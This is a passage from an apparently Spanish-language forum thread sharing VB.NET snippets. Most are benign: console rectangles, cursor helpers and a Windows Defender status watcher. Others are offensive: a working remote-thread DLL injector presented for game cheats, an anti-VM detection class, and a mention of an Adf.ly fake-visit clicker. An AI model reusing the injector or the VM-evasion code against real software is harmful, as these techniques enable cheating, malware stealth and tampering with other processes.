''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charRight">
''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charBottom">
''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal rect As Rectangle,
ByVal charLeft As Char, ByVal charTop As Char,
ByVal charRight As Char, ByVal charBottom As Char)
Me.New(rect.Location, rect.Size, charLeft, charTop, charRight, charBottom)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="location">
''' The location for this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="size">
''' The size for this <see cref="ConsoleRectangle"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal location As Point, ByVal size As Size)
Me.New(location, size, "▌"c, "▀"c, "▐"c, "▄"c)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="location">
''' The location for this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="size">
''' The size for this <see cref="ConsoleRectangle"/>.
''' </param>
'''
''' <param name="charLeft">
''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charTop">
''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charRight">
''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charBottom">
''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentNullException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal location As Point, ByVal size As Size,
ByVal charLeft As Char, ByVal charTop As Char,
ByVal charRight As Char, ByVal charBottom As Char)
Me.UpdateLocation(location)
Me.UpdateSize(size)
Me.CharLeft = charLeft
Me.CharTop = charTop
Me.CharRight = charRight
Me.CharBottom = charBottom
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Writes the bounds of this <see cref="ConsoleRectangle"/> on the current console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Write()
For row As Integer = 0 To (Me.Height - 1)
For column As Integer = 0 To (Me.Width - 1)
If (row = 0) Then
Console.SetCursorPosition((Me.X + column), (Me.Y + row))
Console.Write(Me.CharTop)
ElseIf (row = (Me.Height - 1)) Then
Console.SetCursorPosition((Me.X + column), (Me.Y + row))
Console.Write(Me.CharBottom)
End If
Next column
Console.SetCursorPosition(Me.X, (Me.Y + row))
Console.Write(Me.CharLeft)
Console.SetCursorPosition(Me.X + (Me.Width - 1), (Me.Y + row))
Console.Write(Me.CharRight)
Next row
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Enlarges this <see cref="ConsoleRectangle"/> by the specified amount.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="width">
''' The amount to inflate this <see cref="ConsoleRectangle"/> horizontally.
''' </param>
'''
''' <param name="height">
''' The amount to inflate this <see cref="ConsoleRectangle"/> vertically.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Inflate(ByVal width As Integer, ByVal height As Integer)
Dim rc As Rectangle = Me
rc.Inflate(width, height)
Me.Size = rc.Size
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Enlarges this <see cref="ConsoleRectangle"/> by the specified amount.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="size">
''' The amount to inflate this <see cref="ConsoleRectangle"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Inflate(ByVal size As Size)
Me.Inflate(size.Width, size.Height)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adjusts the location of this <see cref="ConsoleRectangle"/> by the specified amount.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="x">
''' The horizontal offset.
''' </param>
'''
''' <param name="y">
''' The vertical offset.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Offset(ByVal x As Integer, ByVal y As Integer)
Dim rc As Rectangle = Me
rc.Offset(x, y)
Me.Location = rc.Location
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adjusts the location of this <see cref="ConsoleRectangle"/> by the specified amount.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="location">
''' The amount to offset the location.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Offset(ByVal location As Point)
Me.Offset(location.X, location.Y)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a <see cref="String"/> that represents this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="String"/> that represents this <see cref="ConsoleRectangle"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Overrides Function ToString() As String
If (Me.Width = 1) AndAlso (Me.Height = 1) Then
Return Me.CharLeft
ElseIf (Me.Height = 1) Then
Dim sb As New StringBuilder()
Dim lastColumnIndex As Integer = (Me.Width - 1)
For column As Integer = 0 To lastColumnIndex
Select Case column
Case 0
sb.Append(Me.CharLeft)
Case lastColumnIndex
sb.Append(Me.CharRight)
Case Else
sb.Append(Me.CharTop)
End Select
Next column
Return sb.ToString()
ElseIf (Me.Width = 1) Then
Dim sb As New StringBuilder()
For row As Integer = 0 To (Me.Height - 1)
sb.Append(Me.CharLeft)
sb.AppendLine()
Next row
Return sb.ToString()
Else
Dim sb As New StringBuilder()
Dim lastRowIndex As Integer = (Me.Height - 1)
For row As Integer = 0 To lastRowIndex
Select Case row
Case 0
sb.Append(Me.CharLeft)
sb.Append(New String(Me.CharTop, Math.Max((Me.Width - 2), 1)))
sb.Append(Me.CharRight)
Case lastRowIndex
sb.Append(Me.CharLeft)
sb.Append(New String(Me.CharBottom, Math.Max((Me.Width - 2), 1)))
sb.Append(Me.CharRight)
Case Else
sb.Append(Me.CharLeft)
sb.Append(New String(" "c, Math.Max((Me.Width - 2), 1)))
sb.Append(Me.CharRight)
End Select
sb.AppendLine()
Next row
Return sb.ToString()
End If
End Function
#End Region
#Region " Operators "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs an implicit conversion from <see cref="ConsoleRectangle"/> to <see cref="Rectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' The source <see cref="ConsoleRectangle"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="Rectangle"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Widening Operator CType(ByVal rect As ConsoleRectangle) As Rectangle
Return New Rectangle(rect.Location, rect.Size)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs an implicit conversion from <see cref="Rectangle"/> to <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' The source <see cref="Rectangle"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="ConsoleRectangle"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Widening Operator CType(rect As Rectangle) As ConsoleRectangle
Return New ConsoleRectangle(rect)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Tests whether two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures have equal location and size.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' The <see cref="Rectangle"/> to compare with the <see cref="ConsoleRectangle"/> structure.
''' </param>
'''
''' <param name="consoleRect">
''' The <see cref="ConsoleRectangle"/> to compare with the <see cref="Rectangle"/> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures have equal location and size;
''' otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Operator =(rect As Rectangle, consoleRect As ConsoleRectangle) As Boolean
Return (rect.Location = consoleRect.Location) AndAlso (rect.Size = consoleRect.Size)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determine whether two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures differ in location or size.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' The <see cref="Rectangle"/> to compare with the <see cref="ConsoleRectangle"/> structure.
''' </param>
'''
''' <param name="consoleRect">
''' The <see cref="ConsoleRectangle"/> to compare with the <see cref="Rectangle"/> structure.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures differ in location or size;
''' otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Operator <>(rect As Rectangle, consoleRect As ConsoleRectangle) As Boolean
Return Not (rect = consoleRect)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Tests whether two <see cref="ConsoleRectangle"/> structures have equal location, size and characters.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="left">
''' The <see cref="ConsoleRectangle"/> structure that is to the left of the equality operator.
''' </param>
'''
''' <param name="right">
''' The <see cref="ConsoleRectangle"/> structure that is to the right of the equality operator.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the two <see cref="ConsoleRectangle"/> structures have equal location, size and characters;
''' otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Operator =(left As ConsoleRectangle, right As ConsoleRectangle) As Boolean
Return (left.Location = right.Location) AndAlso
(left.Size = right.Size) AndAlso
(left.CharLeft = right.CharLeft) AndAlso
(left.CharTop = right.CharTop) AndAlso
(left.CharRight = right.CharRight) AndAlso
(left.CharBottom = right.CharBottom)
End Operator
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Tests whether two <see cref="ConsoleRectangle"/> structures differ in location, size or characters.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="left">
''' The <see cref="ConsoleRectangle"/> structure that is to the left of the equality operator.
''' </param>
'''
''' <param name="right">
''' The <see cref="ConsoleRectangle"/> structure that is to the right of the equality operator.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if if any of the two <see cref="ConsoleRectangle"/> structures differ in location, size or characters;
''' otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Operator <>(left As ConsoleRectangle, right As ConsoleRectangle) As Boolean
Return Not (left = right)
End Operator
#End Region
#Region " Private Methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Updates the location value specified in <see cref="ConsoleRectangle.Location"/> property.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="newLocation">
''' The new location.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentException">
''' Positive value is required for coordinate.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Sub UpdateLocation(ByVal newLocation As Point)
If (Me.location_ = newLocation) Then
Exit Sub
End If
If (newLocation.X < 0) Then
Throw New ArgumentException(paramName:=NameOf(newLocation),
message:=String.Format("Positive value is required for '{0}' coordinate.", NameOf(newLocation.X)))
ElseIf (newLocation.Y < 0) Then
Throw New ArgumentException(paramName:=NameOf(newLocation),
message:=String.Format("Positive value is required for '{0}' coordinate.", NameOf(newLocation.Y)))
End If
Me.location_ = newLocation
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Updates the size value specified in <see cref="ConsoleRectangle.Size"/> property.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="newSize">
''' The new size.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentException">
''' Value greather than zero is required.
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Private Sub UpdateSize(ByVal newSize As Size)
If (Me.size_ = newSize) Then
Exit Sub
End If
If (newSize.Width <= 0) Then
Throw New ArgumentException(paramName:=NameOf(Size),
message:=String.Format("Value greather than zero is required for '{0}'", NameOf(newSize.Width)))
ElseIf (newSize.Height <= 0) Then
Throw New ArgumentException(paramName:=NameOf(Size),
message:=String.Format("Value greather than zero is required for '{0}'", NameOf(newSize.Height)))
End If
Me.size_ = newSize
End Sub
#End Region
End StructureEjemplo de uso:
Public Module Module1
Public Sub Main()
Dim rc1Pos As New Point(2, Console.CursorTop + 2)
Dim rc1 As New ConsoleRectangle(rc1Pos, New Size(32, 4), "▌"c, "▀"c, "▐"c, "▄"c)
rc1.Write()
Dim rc2Pos As New Point(2, Console.CursorTop + 2)
Dim rc2 As New ConsoleRectangle(rc2Pos, New Size(32, 4), "X"c, "X"c, "X"c, "X"c)
rc2.Write()
Dim rc3Pos As New Point(2, Console.CursorTop + 2)
Dim rc3 As New ConsoleRectangle(rc3Pos, New Size(11, 5), "▌"c, "▀"c, "▐"c, "▄"c)
rc3.Write()
Dim rc4Pos As New Point(rc3Pos.X + (rc3.Width \ 2), rc3Pos.Y + +(rc3.Height \ 2))
Dim rc4 As New ConsoleRectangle(rc4Pos, rc3.Size, "X"c, "X"c, "X"c, "X"c)
rc4.Write()
Console.SetCursorPosition(rc1.X + 9, rc1.Y)
Console.Write(" Hello World ")
Console.SetCursorPosition(rc1.X + 6, rc1.Y + 2)
Console.Write(" By ElektroStudios ")
Console.CursorVisible = False
Console.ReadKey(intercept:=True)
End Sub
End Module
VM Detector classUna Pequeña class que codee para detectar la ejecución en maquinas virtuales.
(https://media.discordapp.net/attachments/541338172592750623/576082648804491284/unknown.png?width=254&height=300)
Link (Actualizado) : AntiVM Class (https://anonfile.com/Fe1al0wanb/AntiVM_vb)
Como usar ? Agregar 1 Timer Public ProtectVM As AntiVM = New AntiVM
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
ProtectVM.VM_Start()
Anti_VM_Timer.Enabled = True
End Sub
Private Sub Anti_VM_Timer_Tick(sender As Object, e As EventArgs) Handles Anti_VM_Timer.Tick
Dim Detection As Boolean = ProtectVM.IsVirtualMachinePresent
Dim Description As String = ProtectVM.DescriptcionVM
If Detection = True Then
msgbox("VM detectada : " & Description)
End If
End Sub
Listar los Modulos de un Proceso. (Incluyendo su MainModule)
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As UInt32, ByVal bInheritHandle As Int32, ByVal dwProcessId As UInt32) As IntPtr
Public Shared Function GetProcessModules(ByVal Process_Name As String) As String
Dim DataS As New StringBuilder
Dim pc As Process() = Process.GetProcessesByName(Process_Name)
Dim hndProc As IntPtr = OpenProcess(&H2 Or &H8 Or &H10 Or &H20 Or &H400, 1, CUInt(pc(0).Id))
If hndProc = IntPtr.Zero Then
Return "Error"
End If
Dim ModulesCount As Integer = pc(0).Modules.Count - 1
For index As Integer = 0 To ModulesCount
DataS.Append(pc(0).Modules(index).FileName & vbNewLine)
Next
Return DataS.ToString
End FunctionModo de Empleo : TextBox1.Text = GetProcessModules("ProcessName")
Mi Vieja Clase para Injectar DLLs .
DestroyerInjector.vb
'Hack Trainer | Private SDK
'Made by Destroyer | Discord : Destroyer#3527
'Creation date : 4/02/2017
'Last Update : 26/06/2019 - Minimal Update
Namespace DestroyerSDK
Public Class Injector
#Region " Declare's "
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As UInt32, ByVal bInheritHandle As Int32, ByVal dwProcessId As UInt32) As IntPtr
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Int32
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal buffer As Byte(), ByVal size As UInt32, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As IntPtr, ByVal methodName As String) As IntPtr
Declare Function GetModuleHandleA Lib "kernel32" (ByVal moduleName As String) As IntPtr
Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpThreadAttribute As IntPtr, ByVal dwStackSize As IntPtr, ByVal lpStartAddress As IntPtr, ByVal lpParameter As IntPtr, ByVal dwCreationFlags As UInteger, ByVal lpThreadId As IntPtr) As IntPtr
Declare Function GetPrivateProfileStringA Lib "kernel32" (ByVal lpAppName As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As System.Text.StringBuilder, ByVal nSize As Integer, ByVal lpFileName As String) As Integer
Declare Function WritePrivateProfileStringA Lib "kernel32" (ByVal lpAppName As String, ByVal lpKeyName As String, ByVal lpString As String, ByVal lpFileName As String) As Integer
#End Region
#Region " Method's "
Private Shared Function CreateRemoteThread(ByVal procToBeInjected As Process, ByVal sDllPath As String) As Boolean
Dim lpLLAddress As IntPtr = IntPtr.Zero
Dim hndProc As IntPtr = OpenProcess(&H2 Or &H8 Or &H10 Or &H20 Or &H400, 1, CUInt(procToBeInjected.Id))
If hndProc = IntPtr.Zero Then
Return False
End If
lpLLAddress = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA")
If lpLLAddress = CType(0, IntPtr) Then
Return False
End If
Dim lpAddress As IntPtr = VirtualAllocEx(hndProc, CType(Nothing, IntPtr), CType(sDllPath.Length, IntPtr), CUInt(&H1000) Or CUInt(&H2000), CUInt(&H40))
If lpAddress = CType(0, IntPtr) Then
Return False
End If
Dim bytes As Byte() = System.Text.Encoding.ASCII.GetBytes(sDllPath)
Dim ipTmp As IntPtr = IntPtr.Zero
WriteProcessMemory(hndProc, lpAddress, bytes, CUInt(bytes.Length), ipTmp)
If ipTmp = IntPtr.Zero Then
Return False
End If
Dim ipThread As IntPtr = CreateRemoteThread(hndProc, CType(Nothing, IntPtr), IntPtr.Zero, lpLLAddress, lpAddress, 0, CType(Nothing, IntPtr))
If ipThread = IntPtr.Zero Then
Return False
End If
Return True
End Function
Public Shared Function InjectDLL(ByVal ProcessName As String, ByVal sDllPath As String) As Boolean
Dim p As Process() = Process.GetProcessesByName(ProcessName)
If p.Length <> 0 Then
If Not CreateRemoteThread(p(0), sDllPath) Then
If p(0).MainWindowHandle <> CType(0, IntPtr) Then
CloseHandle(p(0).MainWindowHandle)
End If
Return False
End If
Return True
End If
Return False
End Function
#End Region
End Class
End Namespace
Modo de uso :
Dim InjectDll As Boolean = InjectDLL("ProcessGame", "DLL_Path")
Un Control Recién salido del Horno , Literalmente lo hice ayer.
Adf.ly ClickerTal como dice el titulo, Con ella puedes generas visitas a tu
Link Adf.ly ..
---------------------------------------Parchado
Bueno Fue bueno mientras duro. pero ya fue Parchado el code. osea que ia no sirve, y no voy a actualizar.
(https://i.imgur.com/A0BdRhO.png)
Bueno Comparto algunas funciones útiles por si creas algún Cheat en vb.net . las necesitaras.Características :
- GetCursorPosition ' De tipo Point , Devuelve la Posicion del Puntero del mause en el Escritorio
- GetClientPosition ' De tipo Point , Devuelve la Posicion de Alguna venta en el Escritorio [Juego / Applicacion]
- GetClientCursorPosition ' De tipo Point , Devuelve la Posicion del Puntero del mause desde el Cliente [Juego / Applicacion]
- ShowCursor ' De tipo Bool , Muestra o Oculta el Cursor del mause
- GetProcessHandle ' De tipo IntPtr , Obtienes el Handle de algun Proceso, By Elektro
Class WinMauseHelpersCore
Imports System.Runtime.InteropServices
Public Class WinMauseHelpersCore
#Region " Pinvoke "
<DllImport("user32.dll")> _
Private Shared Function GetCursorPos(<[In](), Out()> ByRef pt As System.Drawing.Point) As Boolean
End Function
<DllImport("user32.dll", SetLastError:=True)> _
Private Shared Function ScreenToClient(ByVal hWnd As IntPtr, ByRef lpPoint As System.Drawing.Point) As Boolean
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto)> _
Private Shared Function GetClientRect(ByVal hWnd As System.IntPtr, ByRef lpRECT As RECT) As Integer
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True)> _
Public Shared Function ShowCursor(ByVal bShow As Boolean) As Integer
End Function
#Region " Structures "
<StructLayout(LayoutKind.Sequential)> _
Public Structure RECT
Private _Left As Integer, _Top As Integer, _Right As Integer, _Bottom As Integer
Public Sub New(ByVal Rectangle As Rectangle)
Me.New(Rectangle.Left, Rectangle.Top, Rectangle.Right, Rectangle.Bottom)
End Sub
Public Sub New(ByVal Left As Integer, ByVal Top As Integer, ByVal Right As Integer, ByVal Bottom As Integer)
_Left = Left
_Top = Top
_Right = Right
_Bottom = Bottom
End Sub
Public Property X As Integer
Get
Return _Left
End Get
Set(ByVal value As Integer)
_Right = _Right - _Left + value
_Left = value
End Set
End Property
Public Property Y As Integer
Get
Return _Top
End Get
Set(ByVal value As Integer)
_Bottom = _Bottom - _Top + value
_Top = value
End Set
End Property
Public Property Left As Integer
Get
Return _Left
End Get
Set(ByVal value As Integer)
_Left = value
End Set
End Property
Public Property Top As Integer
Get
Return _Top
End Get
Set(ByVal value As Integer)
_Top = value
End Set
End Property
Public Property Right As Integer
Get
Return _Right
End Get
Set(ByVal value As Integer)
_Right = value
End Set
End Property
Public Property Bottom As Integer
Get
Return _Bottom
End Get
Set(ByVal value As Integer)
_Bottom = value
End Set
End Property
Public Property Height() As Integer
Get
Return _Bottom - _Top
End Get
Set(ByVal value As Integer)
_Bottom = value + _Top
End Set
End Property
Public Property Width() As Integer
Get
Return _Right - _Left
End Get
Set(ByVal value As Integer)
_Right = value + _Left
End Set
End Property
Public Property Location() As Point
Get
Return New Point(Left, Top)
End Get
Set(ByVal value As Point)
_Right = _Right - _Left + value.X
_Bottom = _Bottom - _Top + value.Y
_Left = value.X
_Top = value.Y
End Set
End Property
Public Property Size() As Size
Get
Return New Size(Width, Height)
End Get
Set(ByVal value As Size)
_Right = value.Width + _Left
_Bottom = value.Height + _Top
End Set
End Property
Public Shared Widening Operator CType(ByVal Rectangle As RECT) As Rectangle
Return New Rectangle(Rectangle.Left, Rectangle.Top, Rectangle.Width, Rectangle.Height)
End Operator
Public Shared Widening Operator CType(ByVal Rectangle As Rectangle) As RECT
Return New RECT(Rectangle.Left, Rectangle.Top, Rectangle.Right, Rectangle.Bottom)
End Operator
Public Shared Operator =(ByVal Rectangle1 As RECT, ByVal Rectangle2 As RECT) As Boolean
Return Rectangle1.Equals(Rectangle2)
End Operator
Public Shared Operator <>(ByVal Rectangle1 As RECT, ByVal Rectangle2 As RECT) As Boolean
Return Not Rectangle1.Equals(Rectangle2)
End Operator
Public Overrides Function ToString() As String
Return "{Left: " & _Left & "; " & "Top: " & _Top & "; Right: " & _Right & "; Bottom: " & _Bottom & "}"
End Function
Public Overloads Function Equals(ByVal Rectangle As RECT) As Boolean
Return Rectangle.Left = _Left AndAlso Rectangle.Top = _Top AndAlso Rectangle.Right = _Right AndAlso Rectangle.Bottom = _Bottom
End Function
Public Overloads Overrides Function Equals(ByVal [Object] As Object) As Boolean
If TypeOf [Object] Is RECT Then
Return Equals(DirectCast([Object], RECT))
ElseIf TypeOf [Object] Is Rectangle Then
Return Equals(New RECT(DirectCast([Object], Rectangle)))
End If
Return False
End Function
End Structure
#End Region
Public Function GetCursorPosition() As System.Drawing.Point
Dim CursorPos As New System.Drawing.Point
GetCursorPos(CursorPos)
Return CursorPos
End Function
Public Function GetClientPosition(ByVal hWnd As IntPtr) As System.Drawing.Point
Dim ClientPos As New System.Drawing.Point
ScreenToClient(hWnd, ClientPos)
Return ClientPos
End Function
Public Function GetClientCursorPosition(ByVal hWnd As IntPtr) As System.Drawing.Point
Dim ClientCursorPos As New System.Drawing.Point
Dim CursorPos As System.Drawing.Point = GetCursorPosition()
Dim ClientPos As System.Drawing.Point = GetClientPosition(hWnd)
ClientCursorPos = New System.Drawing.Point(CursorPos.X + ClientPos.X, CursorPos.Y + ClientPos.Y)
Return ClientCursorPos
End Function
Public Function GetProcessHandle(ByVal ProcessName As String) As IntPtr
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Dim ProcessArray = Process.GetProcessesByName(ProcessName)
If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowHandle
End Function
#End Region
End Class
Defender Watcher
Monitoriza la desactivacion em tiempo real del Windows Defender.
( click en la imagen para ir código fuente en Github)
(https://i.imgur.com/708adIW.jpg) (https://github.com/DestroyerDarkNess/DefenderWatcher)
Codigo FuenteDefenderWatcher.vb' ***********************************************************************
' Author : Destroyer
' Modified : 8-June-2021
' Github : https://github.com/DestroyerDarkNess
' Twitter : https://twitter.com/Destroy06933000
' ***********************************************************************
' <copyright file="DefenderWatcher.vb" company="S4Lsalsoft">
' Copyright (c) S4Lsalsoft. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' ''' <summary>
' ''' The DefenderWatcher instance to monitor Windows Defender Realtime Status Changed.
' ''' </summary>
'Friend WithEvents DefenderMon As New DefenderWatcher
' ''' ----------------------------------------------------------------------------------------------------
' ''' <summary>
' ''' Handles the <see cref="DefenderWatcher.DefenderStatusChanged"/> event of the <see cref="DefenderMon"/> instance.
' ''' </summary>
' ''' ----------------------------------------------------------------------------------------------------
' ''' <param name="sender">
' ''' The source of the event.
' ''' </param>
' '''
' ''' <param name="e">
' ''' The <see cref="DefenderWatcher.DefenderStatusChangedEventArgs"/> instance containing the event data.
' ''' </param>
' ''' ----------------------------------------------------------------------------------------------------
'Private Sub DefenderMon_DefenderStatusChanged(ByVal sender As Object, ByVal e As DefenderWatcher.DefenderStatusChangedEventArgs) Handles DefenderMon.DefenderStatusChanged
' Dim sb As New System.Text.StringBuilder
' sb.AppendLine(" Defender Configuration change - Windows Defender RealtimeMonitoring")
' sb.AppendLine(String.Format("DisableRealtimeMonitoring......: {0}", e.TargetInstance.ToString))
' sb.AppendLine(String.Format("Old Value......................: {0}", e.PreviousInstance.ToString))
' Me.BeginInvoke(Sub()
' TextBox1.Text += (sb.ToString) & Environment.NewLine & Environment.NewLine
' End Sub)
'End Sub
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Management
Imports System.Windows.Forms
#End Region
Namespace Core.Engine.Watcher
Public Class DefenderWatcher : Inherits NativeWindow : Implements IDisposable
#Region " Constructor "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of <see cref="DefenderWatcher"/> class.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New()
Me.events = New EventHandlerList
End Sub
#End Region
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determines whether the monitor is running.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public ReadOnly Property IsRunning As Boolean
<DebuggerStepThrough>
Get
Return Me.isRunningB
End Get
End Property
Private isRunningB As Boolean
#End Region
Private Scope As New ManagementScope("root\Microsoft\Windows\Defender")
Private WithEvents DefenderState As ManagementEventWatcher = New ManagementEventWatcher(Scope, New WqlEventQuery("SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'MSFT_MpPreference' AND TargetInstance.DisableRealtimeMonitoring=True"))
#Region " Events "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' A list of event delegates.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private ReadOnly events As EventHandlerList
Public Custom Event DefenderStatusChanged As EventHandler(Of DefenderStatusChangedEventArgs)
<DebuggerNonUserCode>
<DebuggerStepThrough>
AddHandler(ByVal value As EventHandler(Of DefenderStatusChangedEventArgs))
Me.events.AddHandler("DefenderStatusChangedEvent", value)
End AddHandler
<DebuggerNonUserCode>
<DebuggerStepThrough>
RemoveHandler(ByVal value As EventHandler(Of DefenderStatusChangedEventArgs))
Me.events.RemoveHandler("DefenderStatusChangedEvent", value)
End RemoveHandler
<DebuggerNonUserCode>
<DebuggerStepThrough>
RaiseEvent(ByVal sender As Object, ByVal e As DefenderStatusChangedEventArgs)
Dim handler As EventHandler(Of DefenderStatusChangedEventArgs) =
DirectCast(Me.events("DefenderStatusChangedEvent"), EventHandler(Of DefenderStatusChangedEventArgs))
If (handler IsNot Nothing) Then
handler.Invoke(sender, e)
End If
End RaiseEvent
End Event
#End Region
' Dim oInterfaceType As String = TIBase?.Properties("DisableRealtimeMonitoring")?.Value.ToString() ' Prevent Defender Disable
Public Sub DefenderState_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) Handles DefenderState.EventArrived
Dim DefenderTargetInstance As Boolean = Nothing
Dim DefenderPreviousInstance As Boolean = Nothing
Using TIBase = CType(e.NewEvent.Properties("TargetInstance").Value, ManagementBaseObject)
